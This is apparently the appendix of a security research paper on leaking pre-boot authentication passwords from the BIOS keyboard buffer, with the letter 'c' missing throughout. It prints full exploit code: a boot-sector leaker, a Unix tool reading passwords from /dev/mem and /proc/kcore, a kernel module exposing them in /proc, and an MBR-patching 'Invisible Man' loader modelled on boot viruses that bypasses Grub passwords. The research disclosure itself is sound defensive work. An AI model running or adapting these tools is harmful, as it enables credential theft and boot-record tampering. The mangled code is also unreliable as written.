;------------------------------------------------------------------------

org 0x7 00

;to be loaded at RAM

address 0000:7C00

se tion .text

 

 

_start:

 

 

jmp short realstart

; jump over

the boot re ord's data

; ------------------------------------------------------------------------

 

;Create a boot re ord with appropriate geometry et . for a usb boot disk

;------------------------------------------------------------------------

brINT13Flag

DB

90H

 

;

0002h

-

0EH for INT13 AH=42 READ

brOEM

 

DB

'SploitOS'

;

0003h

-

OEM name & DOS version

brBPS

 

DW

512

 

;

000Bh

-

Bytes/se tor

 

brSPC

 

DB

4

 

;

000Dh

-

Se tors/ luster

brResCount

DW

1

 

;

000Eh

-

Reserved (boot) se tors

brFATs

 

DB

2

 

;

0010h

-

FAT opies

 

brRootEntries

DW

200H ; 0011h - Root dire tory entries

 

brSe torCount

DW

32768 ; 0013h - Se tors in volume, < 32MB

brMedia

 

DB

0xf8 ; 0015h - Media des riptor

 

brSPF

 

DW

32

 

;

0016h

- Se tors per FAT

brSPH

 

DW

32

 

;

0018h

- Se tors per tra k

brHPC

 

DW

64 ; 001Ah - Number of Heads

 

brHidden

 

DD

0

 

;

001Ch - Hidden se tors

 

brSe tors

DD

0

; 0020h

- Total number of se tors

DB

0

 

; 0024h - Physi al drive no.

 

DB

0

 

; 0025h - Reserved (FAT32)

 

 

DB

29H

 

; 0026h - Extended boot re ord sig

 

brSerialNum

DD

0xdeb00001

;

0027h

- Volume serial

number

brLabel

 

DB

'[endrazine'

;

002Bh - Volume label

(11 hars)

brFSID

 

DB

'FAT16

'

;

0036h

- File System ID (8 hars)

;--------------------------------------------------------------------------

 

 

 

 

 

 

 

 

realstart:

 

 

 

 

 

 

 

 

 

mov ax,

0x1301

 

 

 

 

; BIOS write string fun tion

 

mov bx,

0x07

 

 

 

 

; write in urrent page

 

mov x,

122

 

 

 

 

 

 

 

 

xor dx,

dx

 

 

 

 

; start in upper left orner

 

mov ebp, Creditstring

 

 

 

 

 

 

 

int 0x10

 

 

 

 

 

 

 

 

 

mov bx,

4

 

 

 

 

 

 

 

 

mov dx,

5

 

 

 

 

 

 

 

 

xor dx,dx

 

 

 

 

 

 

 

 

mov dh,

7

 

 

 

 

 

 

 

 

smsw ax

 

 

 

;

Verify we are in real (or v86 ?) mode...

test al,1

; by he king PE bit of CR0

je near real

 

 

; we are in v86 mode...

mov ax, 0x1301

 

mov x, 56

 

mov ebp, v86string

 

int 0x10

 

jmp near reboot

 

real:

; we are in real mode...

mov ax, 0x1301

 

mov x, 76

 

mov ebp, realstring

 

int 0x10

 

;--------------------------

[ Start of BIOS shell ode ---------------------

xor ah, ah

 

mov al, 0x40

; 0x40:0x1e : keyboard buffer address

mov ds, ax

 

mov al, 0x1e

 

mov si, ax

 

mov x, 0x10

 

leakloop:

 

mov ax, [ds:si

 

xor ah, ah

 

mp al, 0x20

 

jb keep opying

 

mp al, 0x7e

 

jb keep opying2

 

keep opying:

 

mov al, 0x20

 

keep opying2:

 

add si, byte +0x2

; Repla e this line by add si,4

 

; if you plan to use it under MS-Dos

 

; due to imperfe t emulation of 16b

 

; ar h under vm86.

push si

 

push x

 

push ax

 

mov ah, 0x03

 

xor bh, bh

 

int 0x10

 

mov ah, 0x02 in dl

int 0x10 pop ax

mov ah, 0ah

 

 

mov bl, 06h

 

 

mov l, 0x01

 

 

int 0x10

 

 

 

pop x

 

 

 

pop si

 

 

 

loop leakloop

 

;--------------------------

[ End of BIOS shell ode ----------------------

reboot:

 

 

 

mov ax, 0x1301

 

mov bx, 4

 

 

 

mov x, 27

 

 

xor dx, dx

 

 

mov dh, 11

 

 

mov ebp,

Byestring

 

int 0x10

 

 

 

xor ax, ax

 

; wait for a key to be pressed

int 0x16

 

 

 

jmp 0xffff:0x0

; reboot

v86string

db

'--[ A ording to r0, you are in v86 mode :( Quitting...',13,10

realstring

db

'--[ A ording to r0, you are in real mode, ok',10,13

 

db

'',13,10

 

 

db

'--[ Password (if any) is : ',10,13

 

db

'',13,10

 

Creditstring

db

' [ Sploit OS : Real mode BIOS hysteresis Po ',13,10

 

db

'',10,13

 

 

db

' // Jonathan Brossard - jonathanivizindia. om',10,13

 

db

' // endrazinegmail. om',13,10

 

db

'',13,10

 

Byestring

db

'--[ Press any key to reboot',10,13

times 512-($-$$)-2 db 0

; Write boot signature at

dw 0x0AA55

 

; address (512 - 2) bytes

;EOF

Annexe D : generi .unix.sploit.

/*

*

*BIOS keyboard buffer hysteresis generi userland exploit for *nix.

*// Jonathan Brossard - jonathanivizindia. om - endrazinegmail. om

*Tested su essfuly under various Linux, *BSD and Solaris platforms.

*This ode is able to retrieve passwords from both /dev devi es (a la /dev/mem,

*a raw mapping of the physi al memory), and files from pseudo file system /pro

*(a la k ore, whi h ontains kernel memory under the stru ture of a ore file).

*Limited support is also provided to handle /dev/kmem under Linux.

*

*/

#in lude <stdio.h> #in lude <stdlib.h> #in lude <unistd.h> #in lude <sys/types.h> #in lude <sys/uio.h> #in lude <sys/types.h> #in lude <sys/stat.h> #in lude <f ntl.h> #in lude <unistd.h> #in lude <string.h> #in lude <errno.h> #in lude <getopt.h>

#in lude <mallo .h> #in lude <sys/mman.h>

/*

*Define default targets files and offsets

*/

#define DEFAULT_DEVICE "/dev/mem" #define BIOS_BUFFER_ADDRESS_M 0x041e

#define DEFAULT_PROC "/pro /k ore" #define BIOS_BUFFER_ADDRESS_K 0x141e

#define DEFAULT_KERNEL_MAP "/dev/kmem" #define KERNEL_BUFFER_ADDRESS 0xC000041E

#define BUFF_LENGTH 255 /* max length for pathnames */

/*

* Display some help */

int usage(int arg , har **argv) {

fprintf(stderr,

"usage: %s [-h [--memory-devi e=<devi e> [--pseudo-file=<pseudo file>\n"

"\n"

 

 

"--help (or -h)

display this help\n"

"--memory-devi e (or -m)

memory devi e (default: %s)\n"

"--pseudo-file (or -p)

/pro pseudo file (default: %s)\n"

"--kernel-devi e (or -k) *LINUX* *ONLY*

kernel memory devi e (default: %s)\n"

"\n",

argv[0, DEFAULT_DEVICE, DEFAULT_PROC, DEFAULT_KERNEL_MAP);

exit(-2);

}

/*

*Give some redits

*/

int redits(void) {

printf("\n [ BIOS keyboard buffer hysteresis generi userland exploit for *nix. \n"

"// Jonathan Brossard - jonathanivizindia. om - endrazinegmail. om\n\n"

"Tested under several flavours of GNU/Linux, *BSD and Solaris.\n\n");

return 0;

}

int main(int arg , har **argv) { int fd, i=0,j, f;

har tab[32; har tab2[16;

int ;

int digit_optind = 0;

int TARGET_OFFSET;

har TARGET_FILE[BUFF_LENGTH;

int devi e_flag

=

0; /* are we pro essing a

devi e ? */

int pro _flag =

0;

/* are we

pro essing a

file from /pro pseudo filesystem ? */

int

kernel_flag =

0; /*

are we

pro essing /dev/kmem ?

*/

int

password_flag

= 0; /*

is there a password stored in

BIOS memory ? */

redits();

if (arg < 2) usage(arg , argv);

/*

*Command line options parsing

*/

while (1) {

int this_option_optind = optind ? optind : 1;

int option_index = 0;

stati stru t option long_options[=

{{"help", 0, 0, 'h'}, {"memory-devi e", 2, 0, 'm'}, {"pseudo-file", 2, 0, 'p'}, {"kernel-devi e", 2, 0, 'k'}, {0, 0, 0, 0} };

= getopt_long(arg , argv, "hp::m::k::", long_options,

&option_index); if ( == -1)

break;

swit h ( ) { ase 'h':

usage(arg , argv); break;

ase 'm': devi e_flag = 1; if(optarg != 0) {

strn py(TARGET_FILE, optarg, BUFF_LENGTH); } else {

strn py(TARGET_FILE, DEFAULT_DEVICE, BUFF_LENGTH);

}

TARGET_OFFSET = BIOS_BUFFER_ADDRESS_M; break;

ase 'p': pro _flag = 1; if(optarg != 0) {

strn py(TARGET_FILE, optarg, BUFF_LENGTH); } else {

strn py(TARGET_FILE, DEFAULT_PROC, BUFF_LENGTH);

}

TARGET_OFFSET = BIOS_BUFFER_ADDRESS_K; break;

ase 'k':

kernel_flag = 1; if(optarg != 0) {

strn py(TARGET_FILE, optarg, BUFF_LENGTH); } else {

strn py(TARGET_FILE, DEFAULT_KERNEL_MAP, BUFF_LENGTH);

}

TARGET_OFFSET = KERNEL_BUFFER_ADDRESS; break;

default:

fprintf(stderr, "[!!unknown option : '% '\n", ); exit(-2);

}

}

/*

*Read potential password from file

*/

if( (devi e_flag && pro _flag) || (devi e_flag && kernel_flag) \

||(kernel_flag && pro _flag) \ || (!devi e_flag && !pro _flag && \ !kernel_flag) )

usage(arg , argv);

fd = open(TARGET_FILE, O_RDONLY); if (fd == -1) {

perror("Fatal error in open "); exit(-1);

}

int PageSize = (int)sys onf(_SC_PAGESIZE); if ( PageSize < 0) {

perror("Fatal error in sys onf ");

}

har* map = mmap(0, PageSize, PROT_READ , MAP_SHARED, fd, TARGET_OFFSET & ~0xFFF); if(map == MAP_FAILED) {

perror("Fatal error in mmap"); exit(-1);

}

mem py(tab, map + TARGET_OFFSET - (TARGET_OFFSET & ~0xFFF),32);

for (j = 0; j < 16; j++) { tab2[i= tab[2 * j; i++;

if (tab2[i<= 0x7e && tab2[i>= 0x30 ) password_flag = 1;

}

if (password_flag) {

printf("--[ Password (to the latest pre boot authenti ation software) : "); } else {

printf("--[ No password found\n\n"); exit(0);

}

for (i = 0; i < 16; i++) {

/*

*We might have several passwords on atenated in ase of

*multiple preboot authenti ation softwares

*/

if ( i<15 && tab2[i== 0x0d && tab2[i+1!= 0x0d && tab2[i+1<= 0x7e && \ tab2[i+1>= 0x30 ) {

printf("\n--[ Password (to a previous authenti ation software) :"); } else {

printf("% ", tab2[i);

}

}

printf("\n\n");

/*

*Clean up...

*/

if (munmap(map, PageSize) < 0) { perror("Non fatal error in munmap ");

}

lose(fd);

return 0;

}

Annexe E : ksploit.

/*

*

*Trivial LKM exploit to display the ontent of BIOS Keyboard buffer

*in /pro /prebootpassword .

*

*// Jonathan Brossard - jonathanivizindia. om - endrazinegmail. om

*/

#in lude <linux/init.h> #in lude <linux/module.h> #in lude <linux/string.h>

#in lude <linux/kernel.h> #in lude <linux/pro _fs.h> #in lude <linux/string.h>

MODULE_LICENSE("GPL");

MODULE_DESCRIPTION("Pre Boot Authenti ation Password LKM Exploit"); MODULE_AUTHOR("Jonathan Brossard // endrazine");

#define BiosKeyboardBuffer 0xC000041E

/*

*Write password to /pro entry routine

*/

stati int sploit_read_pass( har *page, har **start, off_t off, int ount, \ int *eof, void *data ) {

har tab[32; har tab2[16;

int i=0, j, password_flag = 0; int len=0;

if (off > 0) { *eof = 1; return 0;

}

sprintf(tab, "%s", BiosKeyboardBuffer);

for (j = 0; j < 16; j++) { tab2[i= tab[2 * j; i++;

if (tab2[i<= 0x7e && tab2[i>= 0x30 ) password_flag = 1;

}

if (!password_flag) {

len=sprintf(page, "No password found\n"); return len;

} else {

len=sprintf(page, "Password to the latest pre boot authenti ation \ software) : ");

for (i = 0; i < 16; i++) {

/*

*We might have several passwords on atenated in ase of

*multiple preboot authenti ation softs

*/

if ( i<15 && tab2[i== 0x0d && tab2[i+1!= 0x0d && tab2[i+1\ <= 0x7e && tab2[i+1>= 0x30 ) {

len += sprintf(page, "%s\n--[ Password (to a previous \ authenti ation software) :", page);

}else if (tab2[i<= 0x7e && tab2[i>= 0x30) { sprintf(page, "%s% ", page, tab2[i); len++;

}else {

break;

}

}

sprintf(page, "%s\n",page); len++;

}

return len;

}

/*

*Loading routine : reates an entry in /pro and defines the previous fun tion

*as its reading entry.

*/

stati int sploit_init(void) {

stati stru t pro _dir_entry *pro _entry;

printk("\n--[ BIOS keyboard buffer hysteresis LKM exploit\n"

"// Jonathan Brossard - jonathanivizindia. om - \ endrazinegmail. om\n");

pro _entry = reate_pro _entry( "prebootpassword", 0444, NULL );

if (pro _entry == NULL) {

printk(KERN_ALERT "Couldn't reate /pro entry\n"); return 1;

} else {

pro _entry->read_pro = sploit_read_pass; pro _entry->owner = THIS_MODULE;

}

return 0;

}

/*

*Unloading routine

*/

stati int sploit_exit(void) { remove_pro _entry("prebootpassword", &pro _root); printk("--[ Unloading module\n");

return 0;

}

module_init(sploit_init); module_exit(sploit_exit);

 

Annexe F : InvisibleMan.S

;

 

;

[ Atta k of the Invisible Man

;

(bootloader in the middle)

;

 

;Generi rebooting atta k against pre-boot authenti ation MBRs

;that do not initialize BIOS keyboard memory.

;

;Jonathan Brossard -- jonathanivizindia. om // endrazinegmail. om

;ROADMAP :

;

;Use delta offset[0tri k to find self lo ation in memory.

;Fill the BIOS keyboard buffer using PIC 8042[1.

;Allo ate a 5Ko buffer in RAM reserved to the BIOS.

;Find first bootable disk.

;Read old MBR ba kup in reserved RAM.

;Pat h disk with old MBR.

;Load MBR in RAM at address 0x0000:0x7 00

;Unallo ate BIOS memory if possible

;Jump to 0x0000:0x7 00

;

;NOTES :

;Sin e some BIOS/virtual ma hines do not follow the standards

;and do he k/modify memory when alling int 0x19, we will

;emulate it by loading the MBR in RAM and jumping to it.

;

;Sin e we pat h an a tual MBR instead of rafting one from s rat h,

;size does matter. The initial jump of the MBR is a jmp short, so

;it might be up to 128b long; we also need to keep the latest two

;bytes that mark the disk as bootable, hen e , we roughly have :

;512 - 128 - 2 = 382 bytes available if we want to sti k to one se tor.

;TODO : remove MBR ba kup

;

;[0Cf: 80's/90's virii writing tutorials a la 40hex,

;virii sour e ode like Stone or the Italian Virus,

;Dark Avenger virii's sour e ode.

;http://www.etext.org/zines/ASCII/40hex/

;

;[1Art of Assembly Language: Chapter Twenty, Randall Hyde

;http://webster. s.u r.edu/AoA/DOS/ h20/CH20-1.html

;

;

;Tested against:

;* Grub 0.97 with MD5 hashes, under Gentoo 2006

;* Grub 0.97 with MD5 hashes, under fedora release 7 (Moonshine)

;(vulnerable in both text and graphi al modes)

;

;TIP :

;just add a few 'es ape' hara ters before the password if you

;atta k a bootloader with graphi al display like grub.

;

;

;

org 0x100

se tion .text

 

_start:

 

nop

 

nop

 

realstart:

 

jmp short DeltaCall

; good old delta offset tri k

getdelta:

 

pop bx

 

jmp short afterroutinesjump

 

DeltaCall:

; dummy all to get delta offset

all getdelta

 

;

;Save usefull data here

returnaddress: db 0x00, 0x00

password db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

 

db 0x00, 0x00,

0x00, 0x00, 0x00, 0x00,

0x00, 0x00,

 

db 0x00, 0x00,

0x00, 0x00, 0x00, 0x00,

0x00, 0x00,

 

db 0x00, 0x00,

0x00, 0x00, 0x00, 0x00,

0x00, 0x00,

 

db 0x00

 

 

;

------------------ [ keyboard

filling subroutines ------------------

;Credit for those routines :

;Art of Assembly Language: Chapter Twenty, Randall Hyde

;http://webster. s.u r.edu/AoA/DOS/ h20/CH20-1.html

;

write_to_bios_buffer:

mov dl, al xor x, x

wait_ ontroller: ; Wait untill mi ro ontroller's

in al, 0x64; ontrol buffer is empty test al, 1

loopnz wait_ ontroller ; disable the keayboard

li

; disable interrupts

in al, 0x21

; get urrent mask

push ax

 

or al, 2

; mask keyboard interrupt

out 0x21, al

 

all wait_ ontroller2

 

mov al, 0x60

; "send keyboard" ommand

out 0x64, al

 

; send the s an ode as a new ommand :

all wait_ ontroller2 mov al, dl

out 0x60, al

all wait_ ontroller2

mov al,

0x20

; "send keyboard" ommand

out 0x64, al

 

xor x, x

 

wait_if_full:

; wait until the ontroller

in al, 0x64

; is a epting data

test

al, 1

 

loopz

wait_if_full

 

all wait_ ontroller2

 

mov al,

0x60

 

out 0x64, al

 

all wait_ ontroller2

 

mov al,

0x45

 

out 0x60, al

 

fake_int0x09:

 

in al, 0x60

 

int 0x09

; simulate hardware interrupt

; re enable the keyboard, lean and return

all wait_ ontroller2

mov al, 0x0ae

 

out 0x64, al

; re enable the keyboard

pop ax

 

out 0x21, al

; restore interrupt mask

ret

 

wait_ ontroller2:

; wait until we an send a ommand

push x

; to the mi ro ontroller

push ax

 

xor x, x

 

test mdport:

 

in al, 0x64

 

test al, 2

; he k 'buffer is full' flag

loopnz test mdport

 

pop ax

 

pop x

 

ret

 

;------------------

[ Main ode starts here ------------------

afterroutinesjump:

 

;

;Fill up the BIOS keyboard buffer thanks to PIC programming

push bx add bx,2;3

mov si,bx

; si points to password

mov x,32

; max BIOS keyboard buffer size

put_password:

; put password in keyboard

push s

; (without final \x00)

pop ds

 

push x

 

mov al, [ds:si

 

mp al, 0x00

 

je stop_ opying

 

all write_to_bios_buffer

 

in si

 

pop x

 

loop put_password

 

push x

; dummy push

stop_ opying:

 

pop x

; dummy pop

;

 

;Reserve a 10 Ko memory buffer in the BIOS reserved memory.

; f: old virii like Stoned, the Italian Virus et .

;

 

xor ax,ax

 

mov ds,ax

 

mov ax, [ds:0x413

; get amound of available memory

sub ax, 10

; register 10 Ko of memory

mov [ds:0x413,ax

; update BIOS ounter

pop es

 

push ax

; save ounter for desallo ation

push es

 

mov l,06

 

shl ax, l

 

mov es,ax

; our buffer starts at es:0x00

;find the bootable hard drive :

;read 1 se tors and he k if disk is marked

;as bootable on every disk su essively

push es

 

 

xor dx,dx

; dl = drive number

readnext:

 

in dl

 

 

mov ah,

0x02

; read from disk in memory

mov al,

0x01

; 1 se tor

mov bx,

0x00;buffer

 

mov h,

0

 

mov l,

1

 

mov dh,

0

 

int 13h

 

 

mp ah,

0x00

; he k return value

jne readnext

 

mp dl,

0x10

; test 10 drives at max

je notfound

 

mp byte [es:bx+510, 0x55 ;

jne readnext

; Verify the disk is bootable

mp byte [es:bx+511, 0xAA ;

jne readnext

;

;

; The bootable disk number is in dl, read 20 se tors,

;find our ba kup and pat h the MBR (1 se tor).

pop es push es

mov ah,

0x02

; fun tion: read

mov al,

0x14

; 20 se tors

mov bx,

0x00; buffer

 

mov h,

0

 

mov l,

1

 

mov dh,

0

 

int 13h

 

 

mp ah,

0x00

; he k return value

jne readnext

 

push s

 

 

pop ds

 

 

pop es

 

 

pop si

 

 

xor bx,bx

 

mov bx, [ds:si

; return address

; Copy ba kuped MBR ba k to se tor 1

mov ah,

0x03

; fun tion: write

mov al,

1

; 1 se tor

mov h,

0

 

mov l,1 ;1

 

mov dh,

0

 

int 13h

 

 

;

;Remove ba ked up MBR

mov ah, 0x03

; fun tion: write

mov

al,

1

; 1 se tor

int

13h

 

 

notfound:

push s pop ds

;

;Jump to our ode, in reserved BIOS RAM

;We want to do a jmp es:ax, but we'll have

; to ode it ourselves...

 

push s

 

pop ds

 

all bigjump

 

bigjump:

 

pop ax

 

add ax,20

 

push ax

 

pop si

 

sub ax,0x7 00

 

add ax,4

 

mov [ds:si,ax

 

mov [ds:si+2,es

 

jmp 0xffff:0x0000

; pat hed at runtime

nop

; optional nop sled

nop

 

nop

 

nop

 

nop

 

nop

 

nop

 

nop

 

;

 

;Copy bootloader in RAM at position 0x0000:0x7C00

;dl still ontains drive number

mov bx, 0x7 00 xor ax,ax push ax

pop es

mov ah, 0x02

; read from disk in memory

mov al, 0x01

; 1 se tor

mov h, 0

 

mov l, 1

 

mov dh, 0

 

int 13h

 

;

 

;Desallo ate memory if no other pro ess has requested

;additional BIOS memory in the meantime

pop

ax

;

retrieve ounter

from sta k

mov

bx, [ds:0x413

;

get urrent BIOS

mem ounter

mp ax, bx

 

 

 

jne skip_desallo

 

; someone else has allo ated mem

add ax, 10

;

unallo ate 10 Ko of

memory

mov [ds:0x413,ax

;

update BIOS ounter

 

;

 

 

 

;Do not mention the ra e ondition here ;)

;From here, we are exe uting ode that might

;get overwriten anytime. Hopefully, prote ted

;mode is monopro ess.

;

skip_desallo :

;

;Jump to original bootloader

jmp 0x0000:0x7 00

;EOF

Annexe G : InvisibleManLoader.

/*

*

*Jonathan Brossard - jonathanivizindia. om // endrazinegmail. om

*"Invisible Man" atta k against pre-boot authenti ation bootloaders

*This is plain old MBR pat hing, like implemented

*by many MBR virii sin e the 80's.

*

*Keyboard filling routines shamelessly ripped from "The art of assembly".

*/

#in lude <stdio.h> #in lude <stdlib.h> #in lude <unistd.h> #in lude <sys/types.h> #in lude <sys/uio.h>

#in lude <sys/types.h> #in lude <sys/stat.h> #in lude <f ntl.h> #in lude <unistd.h> #in lude <string.h> #in lude <errno.h> #in lude <getopt.h>

#in lude <mallo .h> #in lude <sys/mman.h>

#define DISK_OFFSET 10000 #define BUFF_SIZE 512 #define BUFF_LENGTH 255

har evilloader[="\x90\x90\xeb\x03\x5b\xeb\x7f\xe8\xfa\xff\x00\x00\x00\x00\x00\x00\x00\x00\

/* Translation tables for keys to/from s an odes */

 

 

 

har s an odes1[= {'0', '1', '2', '3', '4', '5', '6', '7', '8',

'9', 'A', 'B',

'C', 'D', 'E', 'F', 'G', 'H',

'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',

'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', ' ', 'd', 'e',

'f', 'g', 'h', 'i', 'j', 'k', 'l',

'm', 'n', 'o', 'p', 'q', 'r',

's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '', '#', '$',

'%', '^', '&', '*', '(', ')',

'_', '-', '=', '+', '[', '{', '', '}', ';', ':','\'', '"',

'`', '~', '|', '\\', '<', ',', '>', '.', '?', '/', '*', '-', 0x19

/* down key */,

0x18 /* up key */, 0x1a /* right key*/, 0x1b /*

left key */, 0x0d

/* Enter */,

 

0x1b /* Es */, 0x20 /* spa e

*/ };

 

 

 

 

 

har s an odes2[= {0x0B, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A,

0x1E,

0x30, 0x2E,

0x20, 0x12,

0x21, 0x22,

0x23, 0x17,

0x24, 0x25,

0x26, 0x32,

0x31, 0x18,

0x19,

0x10, 0x13,

0x1F, 0x14,

0x16, 0x2F,

0x11, 0x2D,

0x15, 0x2C,

0x1E, 0x30,

0x2E, 0x20,

0x12,

0x21, 0x22,

0x23, 0x17,

0x24, 0x25,

0x26, 0x32,

0x31, 0x18,

0x19, 0x10,

0x13, 0x1F,

0x14,

0x16, 0x2F,

0x11, 0x2D,

0x15, 0x2C,

0x02, 0x03,

0x04, 0x05,

0x06, 0x07,

0x08, 0x09,

0x0A,

0x0B, 0x0C,

0x0C, 0x0D,

0x0D, 0x1A,

0x1A, 0x1B,

0x1B, 0x27,

0x27, 0x28,

0x28, 0x29,

0x29,

0x2B, 0x2B,

0x33, 0x33,

0x34, 0x34,

0x35, 0x35,

0x37, 0x4A,

0x50, 0x48,

0x4D, 0x4B,

0x1C, 0x01, 0x39 } ;

har password[16={0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

har password2[32;

/*

* Remove one hara ter from the translated password buffer

*/

int remove_ har(int j) {

int i;

for (i=j;i<sizeof(password2);i++) { if ( i == sizeof(password2) ) { password2[i= 0x00;

} else{

password2[i=password2[i+1;

}

}

return 0;

}

/*

*Convert password to 'keystroke+s an ode' format

*/

int onvert_password(void) {

int i,j;

for (i=0;1<16;i++) {

/* onvert 'enter' keystroke */ if ( password[i== 0x0a ) { password[i= 0x0d;

}

if ( password[i

== 0x00 ) {

password2[2*i=

0x00;

break;

 

} else {

 

password2[2*i=

password[i;

for (j=0;j<sizeof(s an odes1);j++) { if ( s an odes1[j== password[i) { password2[2*i+1= s an odes2[j; break;

}

if ( j == (sizeof(s an odes1) - 1) ) { /* error on given password */

return 1;

}

}

}

}

/* remove every o uren e of 0x0d : the enter key is only oded on one byte */ for (j=0;j<sizeof(password2);) {

if ( password2[j== 0x0d ) { remove_ har(j);

}else { j++;

}

return 0;

}

/*

*Copy translated password to shell ode

*/

int load_password(void) {

int i;

printf(" [*Translated Password: [ "); for (i=0;i<32;i++) {

if( password2[i== 0x00) break;

printf("%02x ",password2[i); evilloader[12+i= password2[i;

}

printf("\n");

return 0;

}

/*

*Display some help

*/

int usage(int arg , har **argv) {

fprintf(stderr,

"usage: %s [-h [--disk=<devi e> [--password=<file>\n" "\n"

"--help (or -h) display this help\n"

"--disk (or -d) devi e ontaining the MBR\n"

"--password (or -p) file ontaining the desired input\n" "\n THIS WILL MODIFY YOUR MASTER BOOT RECORD\n"

"DONT USE UNTIL YOU KNOW WHAT YOU ARE DOING\n\n", argv[0);

exit(-2);

}

int main (int arg , har * argv[) {

har PASSWORD_FILE[BUFF_LENGTH; har DISK_NAME[BUFF_LENGTH;

int fd;

int ,i,j=0, retaddr,jumpposition; FILE * passwdfile;

if (arg < 2) usage(arg , argv);

/*

*Command line options parsing

*/

while (1) {

int this_option_optind = optind ? optind : 1; int option_index = 0;

stati stru t option long_options[=

{{"help", 0, 0, 'h'}, {"password", 1, 0, 'p'}, {"disk", 1, 0, 'd'},

{0, 0, 0, 0} };

= getopt_long(arg , argv, "hp:d:", long_options, &option_index);

if ( == -1) break;

swit h ( ) { ase 'h': usage(arg , argv); break;

ase 'p': if(optarg != 0) {

strn py(PASSWORD_FILE, optarg, BUFF_LENGTH); } else {

fprintf(stderr, " [!!try giving an a tual option instead of : '% '\n", ); exit(-2);

}

break;

ase 'd': if(optarg != 0) {

strn py(DISK_NAME, optarg, BUFF_LENGTH); } else {

fprintf(stderr, " [!!try giving an a tual option instead of : '% '\n", ); exit(-2);

}

break;

default:

fprintf(stderr, " [!!unknown option : '% '\n", ); exit(-2);

}

}

/*

*Read password from file

*/

passwdfile = fopen(PASSWORD_FILE, "r"); if (!passwdfile) {

perror("error opening password file: "); exit(-3);

}

fs anf(passwdfile,"%16 ",password);

/*

*Open devi e and read DISK_OFFSET first bytes

*/

fd = open(DISK_NAME, O_RDWR); if (fd == -1) {

perror("Fatal error while opening disk: "); exit(-1);

}

int PageSize = (int)sys onf(_SC_PAGESIZE); if ( PageSize < 0) {

perror("Fatal error in sys onf: "); exit(-1);

}

har* map = mmap(0, DISK_OFFSET , PROT_READ| PROT_WRITE , MAP_SHARED, fd, 0); if(map == MAP_FAILED) {

perror("Fatal error in mmap: "); exit(-1);

}

/*

*Read original jump address from MBR

*/

for (i=0;i<10;i++) {

if ( (unsigned har) *(map + i ) == 0xeb ) { /* jmp short ... */ break;

}

}

if ( i >= 9 ) {

printf("Could't find initial jmp short : quiting\n"); exit(-1);

} else { jumpposition = i + 1;

}

retaddr= * (map + jumpposition) +2;

printf(" [*Initial jump: 0x%x at position 0x%x\n", retaddr,jumpposition);

/*

*sear h for a DISK_OFFSET bytes long buffer filled with 0x00

*to ba k up MBR

*/

j = 0;

for (i=513;i<DISK_OFFSET;i++) {

if ( *(map +i) == 0x00 ){ j++;

}else { j = 0;

if ( j >= BUFF_SIZE ) { break;

}

}

/*

*No suitable buffer found, quit

*/

if (i >= DISK_OFFSET - 10) {

printf(" [*No suitable buffer found, try a larger disk offset\n"); exit(-1);

} else {

/*

*Ok, we have a suitable buffer

*/

i = i - BUFF_SIZE;

printf(" [*Found %d bytes buffer at offset 0x%4x\n",j,i);

}

/*

*Ba kup original bootloader to buffer

*/

if(!mem py(map + i,map,512)) {

printf("ba kup of the original MBR failed, quitting\n"); exit(-1);

} else {

printf(" [*ba kup of MBR su essful\n");

}

/*

*Modify the address of the MBR ba kup in our evil loader

*/

evilloader[10= i % 256 ; evilloader[11= i / 256 ;

/*

*Get the password translated to the 'keystroke + s an ode' format

*and opy it to shell ode

*/

printf(" [*Password:\n[%s\n\n",password);

if( onvert_password()) {

printf("Invalid hara ter in password...\nquitting\n"); exit(-1);

} else {

load_password();

}

/*

* opy our ustom bootloader at intial "jump short..." landing

*/

if( !mem py(map+retaddr+jumpposition,evilloader,sizeof(evilloader)) ) { printf("Installation of evil loader failed, quitting\n");

exit(-1); } else {

printf(" [*Installed evil loader at offset 0x%x\n" ,retaddr+jumpposition );

}

/*

*Clean and quit

*/

if (munmap(map, (DISK_OFFSET/PageSize +1)*PageSize ) < 0) { perror("Error while freeing memory...\n");

}

lose(fd); return 0;

}

Referen es

1.North utt, S., Filkins, B.: (En ryption pro urement: Setting a stan- dard)

2.Skorobogatov, S.: Low temperature data remanen e in stati ram.

Te hni al report (2002)

3. J. Alex Halderman, Seth D. S hoen, N.H.W.C.W.P.J.A.C.A.J.F.J.A., Felten, E.W.: Lest we remember: Cold boot atta ks on en ryption keys. (2008)

4.Per ival, C.: Ca he missing for fun and prot. (2005)

5.Boileau, A., Rux on (2006)

6.Duot, L.: Se urity issues related to pentium system management mode, CanSe West (2006)

7.Brossard, J.: Bios information leakage. (2005)

8.Phoenix, Compaq, I., Mi rosoft: Bios boot spe i ation version 1.01. Te hni al report (1996)

9.Proje t, T.F.D.: Freebsd ar hite ture handbook. Te hni al report (2006)

10.Intel: Intel 64 and ia-32 ar hite tures software developer's manual.

In: Volume 1: Basi Ar hite ture, P.O. Box 5937, Denver CO 80217- 9808 (2008)

11.Intel: Intel 64 and ia-32 ar hite tures software developer's manual.

In: Volume 3A: System Programming Guide, P.O. Box 5937, Denver CO 80217-9808 (2008)

12.Crou her, P.: The BIOS Companion: The book that doesn't ome with your motherboard! BookSurge Publishing (2004)

13.Aivazian, T.: Linux kernel 2.4 internals. Te hni al report, Veritas (2002)

14.Cox, A.: (Linux 2.4 bios usage referen e)

15.Linux: (Linux kernel)

16.Dunlap, R.: Linux 2.4.x initialization for ia-32 howto. Te hni al report, IEEE (2001)

17.Mi rosoft: (Bitlo ker drive en ryption: Value-add extensibility op- tions)

18.Brown, R.: (Ralf brown's interrupt list, interruption 0x16 (keyboard related))

19.Brown, R.: (Ralf brown's interrupt list, interruption 0x09, irq1 (key- board data ready))

20.Lilo: (Linux loader sour e ode)

21.Intel: Upi-41ah/42ah universal peripheral interfa e 8-bit slave mi- ro ontroller. Te hni al report, (Intel Corporation)

22.Intel: 8259a programmable interrupt ontroller (8259a/8259a-2). Te hni al report, (Intel Corporation)

23.Hyde, R.: Chapter 20 : The PC Keyboard. In: The art of assembly language programming. UCR Standard Library for 80x86 Assembly Language Programmers (1996)

24.Hurt, R.: (Bios data area mapping)

